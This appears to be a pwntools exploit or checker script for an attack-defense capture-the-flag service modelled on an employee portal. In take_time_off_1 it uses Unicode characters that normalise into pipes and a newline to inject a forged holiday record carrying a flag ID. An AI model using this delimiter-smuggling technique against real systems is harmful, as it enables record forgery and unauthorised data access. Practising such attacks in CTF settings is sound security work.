import time
import random
import re
from typing import Optional
from pwn import *

# wrapper function for sending
# exists to ease potential migration to obfuscated connection
def send_to_service(conn, data):
    conn.sendline(data)

# wrapper function for receiving 
# exists to ease potential migration to obfuscated connection
def recv_until_from_service(conn, until):
    try:
        data = conn.recvuntil(until)
    except EOFError:
        raise EOFError()
    if data == "":
        raise EOFError()
    return data


# wrapper function for receiving 
# exists to ease potential migration to obfuscated connection
def recv_line_from_service(conn):
    try:
        data = conn.recvline()
    except EOFError:
        raise EOFError()
    if data == "":
        raise EOFError()
    return data


# register a new user and login
def register_and_login(conn):
    # the initial welcome screen
    recv_until_from_service(conn, "Goodbye\n")
    send_to_service(conn, "Register")
    recv_until_from_service(conn, "First name?\n")
    first_name = str(time.time_ns())
    last_name = str(time.time_ns())
    password = str(time.time_ns())
    send_to_service(conn, first_name)
    recv_until_from_service(conn, "Last name?\n")
    send_to_service(conn, last_name)
    recv_until_from_service(conn, "Password?\n")
    send_to_service(conn, password)
    recv_until_from_service(conn, "Successfully created user!\n")
    return (first_name, last_name, password)


# receive the main menu
def receive_main_menu(conn):
    recv_until_from_service(conn,
        b'What do you want to do?\n'
        b'Check my tasks\n'
        b'Check my holidays\n'
        b'Encrypt or decrypt a message\n'
        b'Read or post important announcements\n'
        b'View the employee register\n'
    )

def board_enter_menu(conn):
    send_to_service(conn, b'Read or post important announcements')
    recv_until_from_service(conn,
        b'Get number of active announcements\n'
        b'Get announcement by ID\n'
        b'Get announcement by number\n'
        b'Post an announcement\n'
    )

def board_get_count(conn) -> int:
    send_to_service(conn, b"Get number of active announcements")
    response = recv_line_from_service(conn).decode()
    rx = re.match(r"^Number of announcements: (?P<count>\d+)$", response)
    if rx:
        return int(rx.group("count"))
    raise gamelib.MumbleException("Board did not return number of messages.")

def _extract_from_announcement(announcement: str) -> dict[str, str]:
    rx = re.match(
        r"^ANNOUNCEMENT\. ATTENTION PLEASE, THIS IS "
        r"(?P<first>[^ \-]+?[ \-][^ ]+ [^ ]+) (?P<last>[^ ]*?) "
        r"SPEAKING TO EVERYONE\. (?P<message1>.*?) I REPEAT\. "
        r"(?P<message2>.*?) END OF ANNOUNCEMENT\.",
        announcement
    )
    return {
        "first": rx.group("first"),
        "last": rx.group("last"),
        "message": rx.group("message1")
    }

def board_get_message_by_number(conn, message_number: int) -> dict[str, str]:
    send_to_service(conn, b"Get announcement by number")
    recv_until_from_service(conn, b"Message Number?\n")
    send_to_service(conn, str(message_number).encode())
    response = recv_line_from_service(conn)
    return _extract_from_announcement(response.decode())

def get_employee_id(conn, first: str, last: str) -> Optional[str]:
    send_to_service(conn, b"View the employee register")
    employee_list = recv_until_from_service(conn, b"End of employee list.\n").decode()
    for line in employee_list.splitlines():
        rx = re.match(r"^(?P<eid>[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}) \| .* \| (?P<first>.*) \| (?P<last>.*)$", line)
        if rx is not None and rx.group("first") == first and rx.group("last") == last:
            return rx.group("eid")
    return None

def mc_enter_menu(conn):
    send_to_service(conn, b'Encrypt or decrypt a message')
    recv_until_from_service(conn,
        b'Encrypt a message to someone else\n'
        b'Decrypt a message I received\n'
    )

def mc_encrypt_message(conn, eid: str, message_b64s: str) -> str:
    send_to_service(conn, b"Encrypt a message to someone else")
    recv_until_from_service(conn, b"Recipient's employee ID?\n")
    send_to_service(conn, eid.encode())
    recv_until_from_service(conn, b"Message Body? (up to 512 bytes, base64)\n")
    send_to_service(conn, message_b64s.encode())
    recv_until_from_service(conn, b"This is your encrypted message:\n")
    return recv_line_from_service(conn).decode()


# holiday menu recv blob
def enter_holiday_menu(conn):
    send_to_service(conn, "Check my holidays")
    recv_until_from_service(conn,
        b'Take time off\n'
        b'Cancel holiday\n'
        b'Check current bookings\n'
    )


def take_time_off_1(conn, flagid):
    send_to_service(conn, "Take time off")
    month = random.randint(1,12)
    rand1 = random.randint(1,10)
    rand2 = random.randint(1,10)
    big = max(rand1,rand2)
    small = min(rand1,rand2)
    start_date = str(small) + "-" + str(month) + "-24"
    end_date = str(big) + "-" + str(month) + "-24"
    # the goal is to create a holiday request that, when later parsed back from file, becomes two holiday requests, but the second one starts with a 0:
    # 2 | 0 | <start> | <end> | a | a | b \n 0 | <flagid> | <valid-date> | <valid-date> | <valid-uuid> | e | 30

    # unicode chars taken from here: https://en.wikipedia.org/wiki/List_of_Unicode_characters
    # the holiday details
    # 0x207c, whitespace and pipe
    pipe = " ⁼ "
    # 0x167c, a nonprintable char and a pipe
    # there are situations where a whitespace in front of a pipe breaks the exploit
    pipe_nowhite = "ᙼ"
    # 0x300a, becomes 0\n
    # this is the character to inject a newline
    newline = " 《"
    reason = 2*("a" + pipe) + "b" + newline + "0" + pipe_nowhite + flagid + pipe_nowhite + "14-10-24" + pipe + "16-10-24" + pipe_nowhite + "5a89859c53ad48c8a65a82baffa675b5"
    destination = "e"
    phone = "30"
    recv_until_from_service(conn, "Start date?\n")
    send_to_service(conn, "10-10-24")
    recv_until_from_service(conn, "End date?\n")
    send_to_service(conn, "12-10-24")
    recv_until_from_service(conn, "Why do you want to take holiday?\n")
    send_to_service(conn, reason)
    recv_until_from_service(conn, "Where will you go?\n")
    send_to_service(conn, destination)
    recv_until_from_service(conn, "How can we reach you during your holiday? Please enter your phone number:\n")
    send_to_service(conn, phone)
    answer = recv_line_from_service(conn)


def take_time_off_2(conn):
    send_to_service(conn, "Take time off")
    month = random.randint(1,12)
    rand1 = random.randint(1,10)
    rand2 = random.randint(1,10)
    big = max(rand1,rand2)
    small = min(rand1,rand2)
    start_date = str(small) + "-" + str(month) + "-24"
    end_date = str(big) + "-" + str(month) + "-24"
    reason = "d"
    destination = "e"
    phone = "f"
    recv_until_from_service(conn, "Start date?\n")
    send_to_service(conn, "10-11-24")
    recv_until_from_service(conn, "End date?\n")
    send_to_service(conn, "12-11-24")
    recv_until_from_service(conn, "Why do you want to take holiday?\n")
    send_to_service(conn, reason)
    recv_until_from_service(conn, "Where will you go?\n")
    send_to_service(conn, destination)
    recv_until_from_service(conn, "How can we reach you during your holiday? Please enter your phone number:\n")
    send_to_service(conn, phone)
    answer = recv_line_from_service(conn)


def cancel_holiday(conn):
    send_to_service(conn, "Cancel holiday")
    recv_until_from_service(conn, "Start date?\n")
    send_to_service(conn, "14-10-24")
    recv_until_from_service(conn, "End date?\n")
    send_to_service(conn, "16-10-24")
    answer = recv_line_from_service(conn)


# task menu recv blob
def enter_task_menu(conn):
    send_to_service(conn, "Check my tasks")
    recv_until_from_service(conn,
        b'Create task\n'
        b'Complete task\n'
        b'List all tasks\n'
    )

# check details of a task
def check_task_details(conn, task_name):
    send_to_service(conn, "List all tasks")
    # Success
    recv_line_from_service(conn)
    answer = recv_until_from_service(conn, b"\n\n")
    return answer
